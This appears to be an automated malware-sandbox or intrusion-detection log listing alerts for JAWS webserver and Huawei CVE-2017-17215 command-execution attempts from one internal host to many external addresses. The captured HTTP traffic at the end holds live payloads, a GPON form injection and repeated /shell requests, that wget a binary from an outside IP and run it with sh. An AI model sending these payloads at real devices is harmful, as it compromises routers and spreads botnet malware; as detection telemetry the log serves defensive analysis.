Timestamp:	192.168.2.2383.238.103.14037000802030092 07/11/22-01:03:23.546017
SID:	2030092
Source Port:	37000
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 161.71.43.194

Timestamp:	192.168.2.23161.71.43.19460894802030092 07/11/22-01:02:38.729777
SID:	2030092
Source Port:	60894
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.24.235.104

Timestamp:	192.168.2.23104.24.235.10450458802030092 07/11/22-01:03:19.062760
SID:	2030092
Source Port:	50458
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.57.111.252

Timestamp:	192.168.2.2337.57.111.25249006802030092 07/11/22-01:03:18.193704
SID:	2030092
Source Port:	49006
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.234.23.229

Timestamp:	192.168.2.2343.234.23.22940272802030092 07/11/22-01:03:34.579570
SID:	2030092
Source Port:	40272
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.204.201.105

Timestamp:	192.168.2.2323.204.201.10557484802030092 07/11/22-01:02:44.172812
SID:	2030092
Source Port:	57484
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 65.121.69.83

Timestamp:	192.168.2.2365.121.69.8342556802030092 07/11/22-01:03:01.446843
SID:	2030092
Source Port:	42556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 93.158.69.145

Timestamp:	192.168.2.2393.158.69.14557146802030092 07/11/22-01:02:31.276405
SID:	2030092
Source Port:	57146
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.95.97.132

Timestamp:	192.168.2.2323.95.97.13235846802030092 07/11/22-01:04:08.125955
SID:	2030092
Source Port:	35846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.21.16.22

Timestamp:	192.168.2.23211.21.16.2239400802030092 07/11/22-01:04:04.150946
SID:	2030092
Source Port:	39400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.93.231.177

Timestamp:	192.168.2.23154.93.231.17749702802030092 07/11/22-01:03:15.200182
SID:	2030092
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 161.35.114.254

Timestamp:	192.168.2.23161.35.114.25450960802030092 07/11/22-01:04:15.188768
SID:	2030092
Source Port:	50960
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.11.43.241

Timestamp:	192.168.2.2382.11.43.24153464802030092 07/11/22-01:03:34.073297
SID:	2030092
Source Port:	53464
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.39.167

Timestamp:	192.168.2.23156.238.39.16740356372152835222 07/11/22-01:03:06.465385
SID:	2835222
Source Port:	40356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.39.172.88

Timestamp:	192.168.2.23185.39.172.8850516802030092 07/11/22-01:02:38.030941
SID:	2030092
Source Port:	50516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 88.221.229.196

Timestamp:	192.168.2.2388.221.229.19650090802030092 07/11/22-01:02:13.031075
SID:	2030092
Source Port:	50090
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 99.84.117.147

Timestamp:	192.168.2.2399.84.117.14733914802030092 07/11/22-01:04:02.756581
SID:	2030092
Source Port:	33914
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 114.34.10.62

Timestamp:	192.168.2.23114.34.10.6235846802030092 07/11/22-01:02:44.377518
SID:	2030092
Source Port:	35846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.88.107.30

Timestamp:	192.168.2.23154.88.107.3049928802030092 07/11/22-01:02:35.331266
SID:	2030092
Source Port:	49928
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 134.73.208.91

Timestamp:	192.168.2.23134.73.208.9145664802030092 07/11/22-01:03:13.567230
SID:	2030092
Source Port:	45664
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.116.97.248

Timestamp:	192.168.2.2320.116.97.24860166802030092 07/11/22-01:03:23.667715
SID:	2030092
Source Port:	60166
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.156.57.139

Timestamp:	192.168.2.2354.156.57.13940778802030092 07/11/22-01:03:23.805930
SID:	2030092
Source Port:	40778
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.53.134.233

Timestamp:	192.168.2.23185.53.134.23332780802030092 07/11/22-01:03:24.038868
SID:	2030092
Source Port:	32780
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.148.140.50

Timestamp:	192.168.2.23217.148.140.5039670802030092 07/11/22-01:03:01.437830
SID:	2030092
Source Port:	39670
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.77.117.129

Timestamp:	192.168.2.23178.77.117.12938748802030092 07/11/22-01:03:44.019942
SID:	2030092
Source Port:	38748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 130.211.33.239

Timestamp:	192.168.2.23130.211.33.23948166802030092 07/11/22-01:03:23.567147
SID:	2030092
Source Port:	48166
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.99.103

Timestamp:	192.168.2.23156.250.99.10353470372152835222 07/11/22-01:03:54.630635
SID:	2835222
Source Port:	53470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 101.33.249.4

Timestamp:	192.168.2.23101.33.249.454338802030092 07/11/22-01:03:27.397102
SID:	2030092
Source Port:	54338
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.85.124.149

Timestamp:	192.168.2.23212.85.124.14933330802030092 07/11/22-01:02:44.111233
SID:	2030092
Source Port:	33330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 189.172.19.31

Timestamp:	192.168.2.23189.172.19.3146762802030092 07/11/22-01:02:44.044096
SID:	2030092
Source Port:	46762
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 113.175.86.248

Timestamp:	192.168.2.23113.175.86.24850932802030092 07/11/22-01:03:45.336561
SID:	2030092
Source Port:	50932
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.153.253.137

Timestamp:	192.168.2.23103.153.253.13750402802030092 07/11/22-01:02:13.172513
SID:	2030092
Source Port:	50402
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.69.208.66

Timestamp:	192.168.2.2354.69.208.6633418802030092 07/11/22-01:03:55.479097
SID:	2030092
Source Port:	33418
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.86.208

Timestamp:	192.168.2.23156.241.86.20849922372152835222 07/11/22-01:03:36.171146
SID:	2835222
Source Port:	49922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.208.166.202

Timestamp:	192.168.2.23202.208.166.20253114802030092 07/11/22-01:02:50.231643
SID:	2030092
Source Port:	53114
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.15.5

Timestamp:	192.168.2.23156.238.15.546008372152835222 07/11/22-01:03:36.813246
SID:	2835222
Source Port:	46008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.218.14.247

Timestamp:	192.168.2.2334.218.14.24756540802030092 07/11/22-01:02:20.499453
SID:	2030092
Source Port:	56540
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.205.178.101

Timestamp:	192.168.2.23157.205.178.10136376802030092 07/11/22-01:02:27.165995
SID:	2030092
Source Port:	36376
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.51.9.18

Timestamp:	192.168.2.2352.51.9.1838106802030092 07/11/22-01:03:10.077359
SID:	2030092
Source Port:	38106
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 138.128.16.115

Timestamp:	192.168.2.23138.128.16.11542218802030092 07/11/22-01:04:00.656150
SID:	2030092
Source Port:	42218
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.15.241.201

Timestamp:	192.168.2.23197.15.241.20159604802030092 07/11/22-01:03:01.496334
SID:	2030092
Source Port:	59604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 180.179.192.34

Timestamp:	192.168.2.23180.179.192.3446400802030092 07/11/22-01:02:40.946859
SID:	2030092
Source Port:	46400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 34 35 2e 39 35 2e 31 36 39 2e 31 34 36 2f 62 69 6e 73 2b 2d 4f 2b 2f 74 6d 70 2f 67 70 6f 6e 34 34 33 3b 73 68 2b 2f 74 6d 70 2f 67 70 6f 6e 34 34 33 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.95.169.146/bins+-O+/tmp/gpon443;sh+/tmp/gpon443`&ipv=0

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
